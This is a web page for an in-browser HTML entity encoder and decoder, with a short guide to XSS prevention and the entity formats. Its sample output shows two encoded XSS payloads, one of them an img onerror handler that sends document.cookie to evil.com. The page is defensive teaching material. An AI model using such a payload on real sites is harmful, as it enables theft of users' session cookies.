Security · XSS Sanitizer · In-Browser

HTML Entity Encoder & Decoder

Convert reserved characters into named entities, decimal codes, and hexadecimal references. Protect web applications against Cross-Site Scripting (XSS) and decode scrambled entity strings.

Entity Format

Encoding Scope

Strip HTML tags (<div> → content)

Presets:

Raw Text / HTML Input120 chars

Encoded HTML Output182 chars (15 entities)

&lt;script&gt;alert(&quot;XSS &amp; Injection Attempt &apos;test&apos;&quot;);&lt;/script&gt;
&lt;img src=x onerror=&quot;fetch(&apos;//evil.com?c=&apos; + document.cookie)&quot;&gt;

Quick Entity Reference & Insert Palette

HTML Entity Reference & Security Essentials

Why HTML Entity Encoding is Essential for XSS Prevention

When web browsers render HTML, characters like <, >, and " are interpreted as document tags and attribute delimiters. If untrusted user input is directly inserted into an HTML page without escaping, an attacker can inject malicious <script> tags or attribute event handlers (e.g., onload, onerror).

Encoding these characters into their respective HTML entities (<, >, &) instructs the browser to render the literal symbol rather than executing it as markup.

Named Entities vs. Numeric Character References (NCR)

Named Entities

Human-readable entity names like © and €. Easy to remember and read in source files, but only a subset of Unicode glyphs possess named equivalents.

Decimal Codes

Base-10 Unicode codepoints formatted as <. Supported across all HTML and XML parsers without requiring external entity definitions.

Hexadecimal Codes

Base-16 codepoints formatted as <. Directly aligns with standard Unicode notation (U+003C) and is frequently used in web scraping and security payloads.